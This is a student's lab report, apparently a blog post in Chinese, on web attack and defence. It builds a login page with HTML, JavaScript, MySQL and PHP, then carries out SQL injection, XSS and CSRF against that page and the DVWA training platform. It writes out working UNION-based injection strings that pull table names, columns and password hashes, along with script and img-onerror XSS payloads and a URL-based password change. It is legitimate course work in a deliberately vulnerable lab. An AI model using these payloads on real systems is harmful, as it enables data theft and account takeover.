20232310 2025-2026-1 《网络与系统攻防技术》实验八实验报告

1.实验内容及要求

(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。

2.实验过程

2.1 Web前端HTML
在javaweb课程学过在window上的Apache-tomcat,一般叫它汤姆猫,没想到攻防课叫apache。kali上是预安装了的,很方便。
输入netstat -tupln | grep 80,看一下80端口有没有被占用。
输入systemctl start apache2,直接启动apache。
image

输入systemctl status apache2.service查看状态。
如图active说明启动成功了。
(ps:kali上面是真简单,windows里面一堆配置信息)
image

然后输入curl http://localhost
可以看到网页代码,说明访问也没问题
image

进入当前用户的/var/www/html目录下,新建html文件
这里先写简单的,反正满足要求就行,等下再写复杂的
cd /var/www/html
vi 20232310login_get.html
image
vi 20232310login_post.html
image

然后先看get的
image
可以看到用GET方法数据会在URL中显示,因此可以看到明文的用户名口令
image

然后看一下post
image
使用POST方法数据会在请求体中发送,不会在URL中显示,更加安全
image

2.2 Web前端JavaScript
这里问一下ai,了解一下具体概念
JavaScript是一种轻量级的脚本语言,主要用于为网页添加交互功能如表单验证、动态效果,可在浏览器端或服务器端运行,是Web前端核心技术之一。
DOM是HTML/XML文档的编程接口,将文档解析成树形结构的对象,让JavaScript 能访问、操作网页的元素,是JS与网页内容交互的桥梁。

需要全面升级一下了
比较长,折叠了,点击展开吧

点击查看代码
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>JS验证登录表单</title>
    <style>
        .login-box {
            width: 300px;
            margin: 50px auto;
            padding: 20px;
            border: 1px solid #ccc;
            border-radius: 8px;
            box-shadow: 0 0 5px #eee;
        }
        .form-item {
            margin-bottom: 15px;
        }
        label {
            display: block;
            margin-bottom: 5px;
        }
        input {
            width: 100%;
            padding: 8px;
            box-sizing: border-box;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            width: 100%;
            padding: 10px;
            background: #4285f4;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #3367d6;
        }
        .error {
            color: red;
            font-size: 12px;
            margin-top: 5px;
            display: none;
        }
    </style>
</head>
<body>
    <div class="login-box">
        <h2 style="text-align: center;">用户登录</h2>
        <form id="loginForm" action="" method="post">
            <div class="form-item">
                <label>用户名:</label>
                <input type="text" id="username" name="username" placeholder="请输入用户名">
                <div class="error" id="user-error">用户名不能为空!</div>
            </div>
            <div class="form-item">
                <label>密码:</label>
                <input type="password" id="password" name="pwd" placeholder="密码至少6位">
                <div class="error" id="pwd-error">密码长度不能少于6位!</div>
            </div>
            <button type="button" onclick="checkLogin()">登录</button>
        </form>
    </div>

    <script>
        function checkLogin() {
            const username = document.getElementById('username').value.trim();
            const password = document.getElementById('password').value;
            const userError = document.getElementById('user-error');
            const pwdError = document.getElementById('pwd-error');

            // 隐藏错误提示
            userError.style.display = 'none';
            pwdError.style.display = 'none';

            // 验证规则
            let isValid = true;
            if (!username) {
                userError.style.display = 'block';
                isValid = false;
            }
            if (password.length < 6) {
                pwdError.style.display = 'block';
                isValid = false;
            }

            if (isValid) {
                document.getElementById('loginForm').submit();
            }
        }
    </script>
</body>
</html>

主要的内容如图

image

我们要求用户名不能为空,密码长度至少8个字符,并且可以回显用户名
image
image
image

接下来进行JavaScript注入,在输入用户名的地方输入
<u>now injection succeed.</u>
直接回显,而且有下划线
image

在用户名输入框中输入:
<img src=x onerror="alert('先弹个窗~');document.body.innerHTML='<h2>然后篡改页面!</h2>'">
这段代码会尝试加载一个名为x的图片,由于这个图片不存在会触发加载错误,然后执行JavaScript代码
image
image

2.3Web后端MySQL基础
MySQL也再kali内置了,很方便
systemctl start mysql
systemctl status mysql
image

输入下面的指令
mysql
-- 创建数据库
CREATE DATABASE 20232310db;
-- 使用数据库
USE 20232310db;
-- 创建用户
CREATE USER 'user20232310' IDENTIFIED BY 'xyd@123456';
-- 授予用户权限
GRANT ALL PRIVILEGES ON 20232310db.* TO 'user20232310'@'localhost' IDENTIFIED BY 'xyd123456@';
-- 授予对任意主机的权限(以防万一,但最好限制为 localhost)
GRANT ALL PRIVILEGES ON 20232310db.* TO 'user20232310'@'%' IDENTIFIED BY 'xyd@123456';
-- 修改用户密码
ALTER USER 'user20232310' IDENTIFIED BY 'xyd123456@';
-- 创建表
CREATE TABLE table1 (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) NOT NULL,
pwd VARCHAR(255) NOT NULL
);
-- 插入数据
INSERT INTO table1 (username, pwd) VALUES ('u1', '@uuu111'),('u2', '@uuu222');
-- 查看表中所有内容
SELECT * FROM table1;

image
image
image
image
发现已经在数据库里面建好了两个用户。

2.4Web后端编写PHP网页
编写如下php代码:
image
image

修改html代码逻辑,接入php验证
image

2.5基础攻击测试
先测试基础功能,输入正确的用户名密码,跳转成功,显示成功登录
image

输入错误的用户名密码,跳转成功,显示登录失败
image

接下来首先进行SQL注入攻击,在密码处输入' OR '1'='1即可成功登录
此时甚至可以使用不存在的用户名登录
此处的noperson不在数据库里面
image

随后是XSS攻击:用户名输入<img src=x onerror=alert("XSSInjectedSucceed")>
image
image

2.6 安装DVWA或WebGoat平台,并完成SQL注入,XSS,CSRF攻击
使用DAWA平台完成实验。(主要是简单便捷)
首先安装sudo apt install dvwa
然后启动dvwa-start
初始用户名和密码分别为admin和password,直接输入登录
记得在DVWA Security中将难度改为Low。不然的话难度很高,但可以尝试
image

2.6.1 SQL注入
输入1,发现了id为1的正常查询结果
image

再输入1 and 1=2
image

很好,感觉是字符串直接拼接
输入1'和’1的结果都是白屏
image

接下来判断表中字段个数
输入1' order by n #
不断增加n直至报错,n-1就是字段个数
当我们往输入位置注入1' order by n #这样的内容时,首先单引号会把原来SQL语句里包裹字符串的引号给“合上”,让后面的内容能正常作为SQL代码执行;接着order by n是让查询结果按第n列来排序;而#会把它后面多余的SQL代码都注释掉,避免语法出错。
如果我们试的这个n小于或等于数据表实际的字段数量,那这条SQL查询就是合法的,网页会正常显示内容;要是n超过了表的实际字段数,数据库就会因为找不到第n列而报错。这样一来,前一次能让页面正常显示的那个n值,就是这张表的字段总数了。
n=2没问题
image
n=3出错,说明只有2个字段
image

输入' union select 1,2 #。验证成功
image

输入' union select database(),version() #
获取数据库名称、版本
image

输入' union select database(),user() #
再获取当前用户
image

再输入-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
查询数据库中所有表的名称
image

输入-1' union select database(),group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #
在users表中获取所有字段名称
image

查到所有字段名称后,可以获取用户名和密码了
-1' union select group_concat(user_id,first_name),group_concat(user,password) from users #
image

很显然,这是加密存储的。
发现密文有32个16进制,换算一下就是128位2进制,那很可能是md5
线上解密,成功。admin的密码是password。
image

2.6.2 XSS部分
2.6.2.1 DOM
点开dom选项,发现可以select,点击,发现出现default
image
我们可以尝试更改此值,等于我们要执行的弹窗
</option></select><script>alert('DOM XSS成功!')</script>
image

2.6.2.2 XSS (Reflected)
输入我们的学号,发现url也变化了,判断应该也可以作为注入点
image
输入http://127.0.0.1:42001/vulnerabilities/xss_r/?name=<script>alert('20232310反射型XSS成功!')</script>#
image

2.6.2.3 XSS(Stored)
发现会直接存储我们输入的内容
image

在message里面注入
<script>alert('20232310XSS成功!')</script>#
image

2.6.3 CSRF
可以看到,这是一个修改口令的界面,那猜想我们应该通过手段恶意修改口令。
输入型口令,点击change,发现返回changed,但是url里面有明文密码
image
猜想密码是直接用GET方法传到了服务器,那我们直接修改url
改成20232310aaaaaa(比较长,可以直接和前面的短密码20232310xx区分)
image

可以看到前后密码对比,修改成功了
image
image

3.问题与解决方案

问题1:增加php文件后,跳转之后是空白界面,但是又不报错
image
解决方法:编辑PHP配置文件php.ini。这个文件位于 /etc/php/8.2/apache2/php.ini
修改下面两行
display_errors = Off # 把它改为 On
log_errors = Off # 把它改为 On
之后就可以看到报错,我的错误是因为权限分配不对。

问题2:进入dvwa后一堆报错
image
解决方法:
sudo nano /etc/php/8.4/apache2/php.ini
修改
display_errors = On
display_startup_errors = On
allow_url_include = On
然后一定要重启!!!不然没有用
image
image

问题3:在博客园里面输入<img src=x onerror="alert('先弹个窗~');document.body.innerHTML='<h2>然后篡改页面!</h2>'">
没有加引号就回车,导致直接切屏了,然后我没保存!!!
解决方法:幸好博客园有自动备份
image

4.学习感悟

这次实验总体不难,但是内容比较多,我做了挺久的,真的是收获满满!
数据库课程学过sql注入,但是没学透,只会个万能钥匙,现在算是真的学懂了。特别是那些XSS弹窗,操作成功的时候有一种惊喜的感觉,哈哈。还学会了在kali快速搭建web网站,配置数据库。之前javaweb课程学习了好久才到这一步,现在竟然这么顺利。
唯一卡住我的是php跳转异常,又没有报错,令我以为是php文件或者html写错了,没想到最后打开报错发现是数据库搭建的时候有点小纰漏,分配权限的时候打错字了。
总结一下,收获很多,虽然这些技巧现在应该都过时了,但是学习就是得一步一步来,努力之后肯定会学到更多!

posted @ 2025-12-01 18:43  20232310许益多  阅读(5)  评论(0)    收藏  举报